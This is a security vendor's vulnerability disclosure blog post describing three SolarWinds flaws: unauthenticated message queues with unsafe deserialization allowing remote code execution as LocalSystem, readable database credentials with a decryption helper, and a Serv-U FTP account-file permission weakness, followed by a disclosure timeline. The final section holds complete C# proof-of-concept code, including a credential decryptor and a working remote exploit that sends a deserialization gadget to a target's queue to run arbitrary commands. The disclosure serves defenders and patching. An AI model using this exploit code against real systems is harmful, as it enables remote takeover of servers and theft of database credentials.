Updates: This blog post was updated Feb. 9 to include Proof-of-Concept (PoC) code.
In this blog, I will be discussing three new security issues that I recently found in several SolarWinds products. All three are severe bugs with the most critical one allowing remote code execution with high privileges. To the best of Trustwave’s knowledge, none of the vulnerabilities were exploited during the recent SolarWinds attacks or in any “in the wild” attacks. However, given the criticality of these issues, we recommend that affected users patch as soon as possible. We have purposely left out specific Proof of Concept (PoC) code in this post in order to give SolarWinds users a longer margin to patch but we will post an update to this blog that includes the PoC code on Feb. 9.
Download our fact sheet on the SolarWinds vulnerabilities that Trustwave SpiderLabs has discovered. All three vulnerabilities are severe with the most critical one allowing remote code execution with high privileges.
In light of the recent SolarWinds supply chain attack, I decided to take a quick look at SolarWinds products based on the Orion framework. SolarWinds offers trial versions for download. I picked User Device Tracker and installed it on a vanilla Windows Server 2019 virtual machine. As a part of the installation, there is a setup of Microsoft Message Queue (MSMQ), which has been around for more than two decades. This immediately grabbed my attention since, by default, this technology is not installed on modern Windows systems. Next, the installer suggested installing Microsoft SQL Server Express for the product backend database management, but I could have opted to use an existing Microsoft SQL Server instance too. After a few more steps – voilà – we have the product up and running.
Since MSMQ was installed, the first thing I tried was to open the Computer Management console to see what’s going on under the Message Queuing, as you can see in Figure 1.
As you can see, there is a huge list of private queues, and literally, every one of them has a specific problem. See if you can pinpoint it in Figure 2 below.
Figure 2: Security is not configured on the queues.
It’s pretty hard to miss that warning shield showing that the queue, like all the queues, is unauthenticated. In short, unauthenticated users can send messages to such queues over TCP port 1801. My interest was piqued, and I jumped in to look at the code that handles incoming messages. Unfortunately, it turned out to be an unsafe deserialization victim. A simple Proof of Concept (PoC) (which again, we will release on Feb. 9) allows remote code execution by remote, unprivileged users through combining those two issues. Given that the message processing code runs as a Windows service configured to use LocalSystem account, we have complete control of the underlying operating system.
After the patch is applied, there is a digital signature validation step performed on arrived messages so that messages having no signature or not signed with a per-installation certificate are not further processed. On the other hand, the MSMQ is still unauthenticated and allows anyone to send messages to it.
My next step in research was to check how well SolarWinds secured the credentials for the backend database since database security is a research area we care about very much. After simple grep across the files installed by the product, one file was found (well, actually two, but more on that later), as shown in Figure 3.
Permissions are generously granted to all locally authenticated users, as shown in Figure 4.
Inside this file, we find credentials for the SolarWinds backend database called SOLARWINDS_ORION:
I spent some time finding code that decrypts the password but essentially, it’s a one-liner. In the end, unprivileged users who can log in to the box locally or via RDP will be able to run decrypting code and get a cleartext password for the SolarWindsOrionDatabaseUser. We are withholding all Proof of Concept (PoC) code for these vulnerabilities to give users a little more time to patch, but you’ll be able to test this out for yourselves next week on Feb. 9. The next step is to connect to the Microsoft SQL Server using the recovered account, and at this point, we have complete control over the SOLARWINDS_ORION database. From here, one can steal information or add a new admin-level user to be used inside SolarWinds Orion products.
As mentioned earlier, I performed my tests on the trial version and when verifying the patch noticed that while it secures the SWNetPerfMon.DB file it does not secure the SWNetPerfMon.DB.Eval found in the trial.
This concludes the section about configuration file insecure storage. On to the next finding!
Finally, I took a quick look at another SolarWinds product called Serv-U FTP for Windows. It turns out that the accounts are stored on disk in separate files. Directory access control lists allow complete compromise by any authenticated Windows user. Specifically, anyone who can log in locally or via Remote Desktop can just drop a file that defines a new user, and the Serv-U FTP will automatically pick it up. Next, since we can create any Serv-U FTP user, it makes sense to define an admin account by setting a simple field in the file and then set the home directory to the root of C:\ drive. Now we can log in via FTP and read or replace any file on the C:\ since the FTP server runs as LocalSystem.
In this post, we discussed two findings in SolarWinds Orion User Device Tracker and one in SolarWinds Serv-U FTP. These issues could allow an attacker full remote code execution, access to credentials for recovery, and the ability to read, write to or delete any file on the system.
Trustwave reported all three findings to SolarWinds, and patches were released in a very timely manner. We want to thank SolarWinds for their partnership during the disclosure process. We recommend that administrators upgrade as soon as possible. We will also be releasing an update to this blog post with Proof of Concept (PoC) code next week on Feb. 9, to give users some additional time to patch. Having direct PoC code helps information security professionals better understand these issues as well as develop protections to prevent exploitation.
12/30/2020 - Orion vulnerabilities disclosed to vendor
01/04/2021 - Confirmation of Orion CVEs
01/04/2021 - ServU-FTP vulnerabilities disclosed to vendor
01/05/2021 - Confirmation of ServU-FTP CVE
01/22/2021 - Serv-U-FTP hotfix released
01/25/2021 - Orion patches released
02/03/2021 - Advisory published
02/09/2021 – Proof of Concept code released
Trustwave vulnerability scanning products can detect these vulnerabilities and Trustwave IDS/IPS products include signatures that can detect network exploitation of CVE-2021-25274.
For (CVE-2021-25275)
/*
** To build:
**
** Copy SolarWinds.Orion.Common.dll from SolarWinds machine (C:\Program Files (x86)\Common Files\SolarWinds\Collector\)
**
** %windir%\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:SolarWinds.Orion.Common.dll OrionDBpwd.cs
**
** This program must be executed on actual SolarWinds machine to decrypt the password (as unprivileged user)
*/
using System;
using SolarWinds.Orion.Common.Helpers;
class Program
{
static void Main(string[] args)
{
if (args.Length != 1)
{
Console.WriteLine("Provide encrypted password value from the config file.");
return;
}
DataProtectionHelper helper = new DataProtectionHelper();
Console.WriteLine(helper.Decrypt(args[0]));
}
}
For (CVE-2021-25274)
/*
** To build:
**
** Copy SolarWinds.Collector.Contract.dll from SolarWinds machine (C:\Program Files (x86)\Common Files\SolarWinds\Collector\)
**
** %windir%\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:SolarWinds.Collector.Contract.dll OrionMSMQ.cs
*/
using SolarWinds.Collector.Contract;
using System;
using System.Collections.Generic;
using System.Data.Linq;
using System.Diagnostics;
using System.IO.Compression;
using System.IO;
using System.Linq;
using System.Messaging;
using System.Reflection;
using System.Text;
namespace OrionMSMQ
{
internal class CompressedMessageFormatter : IMessageFormatter, ICloneable
{
// Fields
private IMessageFormatter baseFormatter;
private byte[] compressHeader;
// Methods
public CompressedMessageFormatter(IMessageFormatter original) : this(original, 0x1e8480)
{
}
public CompressedMessageFormatter(IMessageFormatter original, long compressThreshold)
{
this.compressHeader = Encoding.ASCII.GetBytes("CompressVersion1");
if (original == null)
{
throw new ArgumentNullException("original");
}
this.baseFormatter = original;
this.CompressThreshold = compressThreshold;
}
public bool CanRead(Message message)
{
if (message == null)
{
return false;
}
return (message.BodyStream != null);
}
public object Clone()
{
return new CompressedMessageFormatter((IMessageFormatter)this.baseFormatter.Clone());
}
public object Read(Message message)
{
if (message == null)
{
throw new ArgumentNullException("message");
}
byte[] buffer = new byte[this.compressHeader.Length];
message.BodyStream.Position = 0L;
message.BodyStream.Read(buffer, 0, buffer.Length);
if (this.compressHeader.SequenceEqual(buffer))
{
message.BodyStream.Seek((long)buffer.Length, SeekOrigin.Begin);
using (DeflateStream stream = new DeflateStream(message.BodyStream, CompressionMode.Decompress))
{
Message message2 = new Message
{
BodyType = message.BodyType
};
stream.CopyTo(message2.BodyStream);
message.BodyStream = message2.BodyStream;
}
}
message.BodyStream.Position = 0L;
return this.baseFormatter.Read(message);
}
public void Write(Message message, object obj)
{
if (message == null)
{
throw new ArgumentNullException("message");
}
if (obj == null)
{
throw new ArgumentNullException("obj");
}
this.baseFormatter.Write(message, obj);
if (message.BodyStream.Length >= this.CompressThreshold)
{
MemoryStream stream = new MemoryStream();
stream.Write(this.compressHeader, 0, this.compressHeader.Length);
using (DeflateStream stream2 = new DeflateStream(stream, CompressionMode.Compress, true))
{
message.BodyStream.Position = 0L;
message.BodyStream.CopyTo(stream2);
}
stream.Position = 0L;
message.BodyStream = stream;
}
}
// Properties
public long CompressThreshold { get; internal set; }
}
class Program
{
public static void TypeConfuseDelegate(Comparison comp)
{
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
Object[] invoke_list = comp.GetInvocationList();
invoke_list[1] = new Func<String, String, Process>(Process.Start);
fi.SetValue(comp, invoke_list);
}
static void Main(String[] args)
{
Console.WriteLine("");
Console.WriteLine("Microsoft Message Queuing Feature should be installed on your computer before running this POC.");
Console.WriteLine("");
if (args.Length < 2)
{
Console.WriteLine("Provide IP address of SolarWinds box and a command to run as LOCALSYSTEM.");
Console.WriteLine("Example invocation:");
Console.WriteLine();
Console.WriteLine("\tOrionMSMQ.exe 192.168.1.11 shutdown /r");
return;
}
// Borrowed from https://googleprojectzero.blogspot.com/2017/04/
Delegate d = new Comparison(String.Compare);
Comparison d2 = (Comparison)MulticastDelegate.Combine(d, d);
IComparer comp = Comparer.Create(d2);
SortedSet set = new SortedSet(comp);
for (int i = 1; i < args.Length; i++)
{
set.Add(args[i]);
}
TypeConfuseDelegate(d2);
PropertyBag bag = new PropertyBag();
bag["PollingPlanID"] = "0";
bag["Payload"] = set;
String path = String.Format("FormatName:DIRECT=TCP:{0}\\private$\\solarwinds/collector/processingqueue/core.node.details.wmi", args[0]);
MessageQueue rmQ = new MessageQueue(path);
Message msg = new Message(bag, new CompressedMessageFormatter(new BinaryMessageFormatter()));
rmQ.Send(msg);
Console.WriteLine("Payload sent to remote queue:");
Console.WriteLine(rmQ.Path);
}
}
}